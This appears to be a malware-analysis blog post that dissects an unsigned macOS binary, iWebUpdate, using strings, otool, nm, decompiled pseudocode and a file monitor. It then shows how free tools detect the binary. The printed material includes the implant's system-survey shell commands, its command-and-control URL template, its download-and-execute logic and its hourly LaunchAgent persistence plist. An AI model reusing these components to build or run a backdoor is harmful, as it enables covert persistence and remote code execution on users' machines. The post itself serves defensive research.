As “Sharing is Caring” I’ve uploaded the binary iWebUpdate to our macOS malware collection. The password is: infect3d
Today, Valentine’s day, is a day to celebrate love, and for better or worse one my main loves is malware! ๐
Over the last few months, I’ve been pulled in a few different directions such as planning #OBTS v6.0, working on my new book, and expanding the Objective-See Foundation’s non-profit and community-focused efforts.
As while I’m super stoked on all these efforts, today was a day to get back to some dedicated malware research and analysis.
Also, I’m often asked about the prevalence of Mac malware …to which my answer is often along the lines of, “there is likely far more (Mac) malware out there than we’re seeing” And I figured, what better way to back up this claim than finding new malware? …and as we’ll see, contrary to Apple’s marketing claims - finding undetected Mac malware is a rather trivial endeavor!
As an independent security researcher, unfortunately I don’t have access to large corpuses of propriety threat intelligence or client data. (Objective-See’s tools, by design collect no detection metrics, or user information). What I do have access to is VirusTotal - who very graciously offer free researcher accounts! ๐๐ฝ
So today, that’s where I began… and after a few minutes (~8 or so?) I stumbled across an interesting file:
Looking at additional metadata provide by VirusTotal, we can see it was originally see in the wild/submitted in September of 2018 …almost 5 years ago.
However, a submission from just this month, (specifically on February 10th), seems to indicate its still active, or at least in the wild:
VirusTotal also gives us some (basic) insight into it prevalence, showing us that at least a dozen users have this file installed on their systems:
…this also shows us the path (and name) the file is installed on macOS systems: ~/Library/Services/iWebUpdate
. (As we’ll see, this is hardcoded in the binary).
Let’s now download and triage the file, seeking to answer two main questions:
iWebUpdate
The binary has a SHA-1 hash of f33373701e5e2fc5451b05f935cd465662679a2b
. If we run macOS’s file
command it tells us its a 64bit Mach-O binary:
% shasum -a1 /Users/patrick/Downloads/iWebUpdate f33373701e5e2fc5451b05f935cd465662679a2b iWebUpdate % file iWebUpdate iWebUpdate: Mach-O 64-bit executable x86_64
In terms of its whether or not its code-signed, the answer is no:
Next, let’s run otool
(with the -L
flag) to extract the binary’s dependencies - which can shed insight into its capabilities.
% otool -L iWebUpdate iWebUpdate: /usr/lib/libcurl.4.dylib (compatibility version 7.0.0, current version 9.0.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1238.60.2)
Besides the standard libSystem.B.dylib
library, the binary links against libcurl
…likely indicating it contains networking functionality, realized thru curl’s APIs.
Let’s also look at the binary’s symbols, which can show which system APIs it imports …which again, can provide clues about its capabilities. Here, we use macOS’s nm
tool:
% nm iWebUpdate ... U _curl_easy_cleanup U _curl_easy_escape U _curl_easy_init U _curl_easy_perform U _curl_easy_setopt U _curl_free U _execvp U _fclose U _fopen U _fork U _fread U _fwrite U _getifaddrs U _getpid U _if_nametoindex U _localtime U _popen U _qsort U _system U _waitpid
Interesting…references to the curl APIs, but also those related to file, survey, and execution (e.g. system
/execvp
).
To complete our triage, let’s run the strings
command to extract any embedded strings. For non-obfuscated binaries, this can often provide a host of valuable information about functionality and capabilities.
% strings - iWebUpdate /tmp/iwup.tmp echo $(system_profiler SPSoftwareDataType | grep 'System Version:' | cut -d: -f2) echo $(defaults read ~/Library/Preferences/com.apple.SystemProfiler.plist 'CPU Names') | cut -d'"' -f4 %s%s?v=%d&c=%s&u=%s&os=%s&hw=%s https://iwebservicescloud.com/api/v0 /install.php /update.php mkdir -p ~/Library/Services ~/Library/Services/iWebUpdate launchctl unload %s >/dev/null 2>&1 launchctl load %s >/dev/null 2>&1 launchctl start iWebUpdate >/dev/null 2>&1 Downloading: %s Unzipping: %s unzip system Running: %s Failed to fork ~/Library/LaunchAgents/iwebupdate.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>iWebUpdate</string> <key>ProgramArguments</key> <array> <string>%s/Library/Services/iWebUpdate</string> <string>update</string> <string>C=%s</string> </array> <key>StartInterval</key> <integer>3600</integer> </dict> </plist> ...
Wow, lucky us! With no apparent obfuscations, a myriad of details emerge, including what appear to be:
File paths:
/tmp/iwup.tmp
, ~/Library/Services/iWebUpdate
(this matches the ‘in the wild’ paths reported by VirusTotal).
Survey commands:
echo $(system_profiler SPSoftwareDataType | grep 'System Version:' | cut -d: -f2)
echo $(defaults read ~/Library/Preferences/com.apple.SystemProfiler.plist 'CPU Names') | cut -d'"' -f4
Command and control:
https://iwebservicescloud.com/api/v0
/install.php
, /update.php
Tasking commands:
Download (Downloading: %s
) and execution (Running: %s
, Failed to fork
)?
Persistence:
~/Library/LaunchAgents/iwebupdate.plist
…and it’s contents (<?xml version="1.0" encoding="UTF-8"?>...
).
This wraps up our triage, from which we can already draw some conclusions …specifically that we’re (potentially) dealing with a persistent updater or backdoor with download and execute capabilities. Of course, these conclusions should be verified, so let’s dive in deeper.
iWebUpdate
Time for the good old disassembler and debugger. We’ll used my favorites; Hopper and lldb
.
Starting at the binary’s entry point we see it checking for various arguments:
void EntryPoint(int argc, int argv) {
rdi = argc;
rbx = argv;
if (rdi >= 0x3) {
r14 = *(rbx + 0x8);
if (strcmp("update", r14) == 0x0) {
rbx = *(rbx + 0x10);
if (strncmp("C=", rbx, 0x2) == 0x0) {
sub_1000019e0(rbx + 0x2);
}
else {
if (strncmp("C=", r14, 0x2) == 0x0) {
sub_100001190(r14 + 0x2);
}
}
}
else {
if (strncmp("C=", r14, 0x2) == 0x0) {
sub_100001190(r14 + 0x2);
}
}
}
else {
if (rdi >= 0x2) {
r14 = *(rbx + 0x8);
if (strncmp("C=", r14, 0x2) == 0x0) {
sub_100001190(r14 + 0x2);
}
}
}
return;
}
If we return to the embedded property list (that persists the binary), we see it will execute iWebUpdate
with two additional arguments; update
and C=%s
(the %s
is a placeholder, and maps to a passed in argument):
<key>ProgramArguments</key>
<array>
<string>%s/Library/Services/iWebUpdate</string>
<string>update</string>
<string>C=%s</string>
</array>
If some combination of the expected arguments are provided (as in the case when the binary is launched via its property list), we can see one of two unnamed functions (sub_1000019e0
or sub_100001190
) are invoked.
Let’s reverse these function, starting with sub_1000019e0
, which will be invoked if the binary’s arguments include update
and C=
:
int sub_1000019e0(int arg0) {
...
sub_100001090(&var_430, 0x400, "/update.php", arg0);
rax = sub_0x1000016d0(&var_430);
r14 = rax;
rax = 0x1;
if (r14 != 0x0) {
r12 = r14;
do {
rax = strchr(r12, 0xa);
if (rax == 0x0) {
break;
}
*rax = 0x0;
sub_0x1000017b0(r12);
r12 = rax + 0x1;
} while (true);
...
}
return rax;
}
This function first calls sub_100001090
, then passes in a buffer populated by the call to sub_0x1000016d0
. Then, in a do
/while
loop it processes the response invoking sub_0x1000017b0
.
The first function, sub_100001090
is invokes with arguments such as an output buffer, a size, and the string /update.php
.
First, it invokes two helper functions which, via popen
execute:
echo $(system_profiler SPSoftwareDataType | grep 'System Version:' | cut -d: -f2)
echo $(defaults read ~/Library/Preferences/com.apple.SystemProfiler.plist 'CPU Names') | cut -d'"' -f4
The first will get the version of the OS (e.g. macOS 13.2 (22D49)
), while the second information about the hardware (e.g. MacBook Air (M1, 2020)
).
After a few other basic pieces of basic information are gathered from the system, the function builds a URL that includes both the server (iwebservicescloud.com
), as well as this collected information:
__snprintf_chk(var_38, var_30, 0x0, 0xffffffffffffffff, "%s%s?v=%d&c=%s&u=%s&os=%s&hw=%s", "https://iwebservicescloud.com/api/v0", r13, 0x2, r12, byte_100023f50, rcx, rax);
In a debugger, we can allow the binary to execute this code, then dump the result, to view the created url/parameters. On a analysis system, we get the following:
"https://iwebservicescloud.com/api/v0/update.php?v=2&c=test&u=3e8e6414-fab6-12b8-12f9-0a9771e398af&os=macOS%2012.6.1%20%2821G217%29&hw=MacBook%20Air%20%28M1%2C%202020%29"
Note that v=
which perhaps is a version number, is hardcoded to 0x2
, while the c=
value (here test
), is taken directly from the C=
command line argument.
This url (with survey information in its parameters) is then passed to sub_0x1000016d0
.
This first invokes a helper function to connect to the URL via curl APIs and download the response the hard-coded location /tmp/iwup.tmp
:
...
fprintf(**___stderrp, "Downloading: %s\n", r15);
rbx = curl_easy_init();
if (rbx != 0x0) {
r14 = fopen("/tmp/iwup.tmp", "wb");
if (r14 != 0x0) {
curl_easy_setopt(rbx, 0x2712);
curl_easy_setopt(rbx, 0x4e2b);
curl_easy_setopt(rbx, 0x2711);
r15 = curl_easy_perform(rbx);
...
}
...
}
Once the download has completed (and written out to /tmp/iwup.tmp
, code reads the received data:
r15 = fopen("/tmp/iwup.tmp", "rb");
rbx = 0x0;
fseek(r15, 0x0, 0x2);
r14 = ftell(r15);
fseek(r15, 0x0, 0x0);
r12 = malloc(r14 + 0x1);
if (r12 != 0x0) {
fread(r12, r14, 0x1, r15);
...
}
Finally, a do
/while
loop processes the response invoking sub_0x1000017b0
.
This function will act on the response performing three actions:
system
fork
/ execvp
Let’s look at the simple logic for the executing the downloaded file, via the system
API:
if (strcmp("system", r14) == 0x0) {
system(r13);
}
…doesn’t get simpler than this!
This wraps up our analysis of the logic that’s invoked when the binary’s arguments include the string update
. But what the rest of the code?
Recall this other logic starts in the sub_100001190
function. A brief triage of the function disassembly shows it contains install logic. It starts by building almost the survey data URL, but this time sets the endpoint to install.php
. Then it invokes logic to copy itself to ~/Users/user/Library/Services/iWebUpdate
and then save the embedded property list to ~/Library/LaunchAgents/iwebupdate.plist
. Then it starts (the now persisted launch agent) binary via launchctl load
and launchctl start
:
void sub_100001190(int arg0) {
...
system("mkdir -p ~/Library/Services");
wordexp("~/Library/Services/iWebUpdate", &var_C50, 0x0);
rax = copyfile(&var_830, *var_C48, 0x0, 0xf);
...
wordexp("~/Library/LaunchAgents/iwebupdate.plist", &var_C50, 0x0);
r15 = fopen(*var_C48, "wb");
...
fprintf(r15, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n <key>Label</key>\n <string>iWebUpdate</string>\n <key>ProgramArguments</key>\n <arrโฆ");
...
__snprintf_chk(&var_C30, 0x400, 0x0, 0x400, "launchctl unload %s >/dev/null 2>&1", "~/Library/LaunchAgents/iwebupdate.plist");
system(&var_C30);
__snprintf_chk(&var_C30, 0x400, 0x0, 0x400, "launchctl load %s >/dev/null 2>&1", "~/Library/LaunchAgents/iwebupdate.plist");
system(&var_C30);
system("launchctl start iWebUpdate >/dev/null 2>&1");
...
We can observe file actions, such as the property list creation, in a file monitor:
# FileMonitor.app/Contents/MacOS/FileMonitor -filter iWebUpdate -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/Library/LaunchAgents/iwebupdate.plist", "process" : { "signing info (computed)" : { "signatureStatus" : -67062 }, "uid" : 501, "arguments" : [ "/Users/user/Downloads/iWebUpdate", "C=test" ], "ppid" : 1255, "architecture" : "Intel", "path" : "/Users/user/Downloads/iWebUpdate", "name" : "iWebUpdate", "pid" : 1260 } }, "timestamp" : "2023-02-14 07:56:10 +0000" }
We can also (now) examine the iwebupdate.plist
file:
% cat ~/Library/LaunchAgents/iwebupdate.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...> <plist version="1.0"> <dict> <key>Label</key> <string>iWebUpdate</string> <key>ProgramArguments</key> <array> <string>/Users/user/Library/Services/iWebUpdate</string> <string>update</string> <string>C=test</string> </array> <key>StartInterval</key> <integer>3600</integer> </dict> </plist>
Note that the plist contains the path to persisted binary (/Users/user/Library/Services/iWebUpdate
), and included the update
parameter, and C=
with a value we specified (e.g. test
) via the command line. Finally the StartInterval
set to 3600
means the binary (iWebUpdate
) will be (re)launched every hour (3600 seconds).
iWebUpdate
From a technical point of view, iWebUpdate
is fairly basic. Its a persistent binary, capable of downloading and executing arbitrary payloads from a remote server. This is a matches the capabilities of light-weight backdoors or what are termed 1st-stage implants (who then on systems of value, download a more feature-complete implant).
However, is iWebUpdate
a legitimate updater? Say for some commercial product? Perhaps! But this seems unlikely for a variety of reasons. That include:
iWebUpdate
is unsigned. The vast vast majority of legitimate software is signed (and these days, also notarized).
There is next to zero information on Google about this binary, or the paths to its hard-coded components (plist, etc) …which would be very usually if it was a legitimate piece of software.
Even ChatGPT hasn’t heard about it:
iwebservicescloud.com
to has a history of resolving to IPs associated with malicious actors such as 185.181.104.82
and 204.11.56.48
.
Thus all signs points to something suspicious or as my good friend Jaron pointed out, it “seems way sketch!” I agree, and my bet is definitely that its malware.
iWebUpdate
Let’s end by talking how to easy detect iWebUpdate
via the Objective-See Foundation’s free open-source tools…even though this binary has, for over five years eluded detection (by the AV engines on VirusTotal).
First off, when the binary goes to persist as launch agent, BlockBlock which monitors several common persistence locations, will alert you:
Next, we have LuLu our firewall, that can alert you about unauthorized network connections. And yes, it will alert you when the binary attempts to connect to its command and control server (which now resolves to 173.231.184.122
) for tasking:
Finally, KnockKnock can uncover the binary’s persistence (after the fact):
Today is Valentine’s day, which means we went on a hunt for malware ๐
This quickly lead us to a rather suspicious file: iWebUpdate
. After triaging and analyzing the binary we uncovered its command and control server (iwebservicescloud.com
), as well as capabilities: self install, download and execute.
Moreover, after analyzing metadata and other characteristics about the binary and its components (coupled with the fact that the internetz knows nothing about it) as well as historical records about its server pointing to malicious adversaries, everything points rather certainly it being (previously unknown) malware! …which I vote we call iWebUpdate
.
Finally, we showed how Objective-See’s tools can trivial detect this unknown, and otherwise undetected binary!
Well thanks for reading along! I’ve always wondered what good is finding a sample if we can’t talk about it - both a case study on analyzing unknown binaries as well helping users understand the risks they face even on a Mac! Especially as today, we validated, at least to some extent, the claim that there is likely far more (Mac) malware out there than we’re seeing. Stay safe!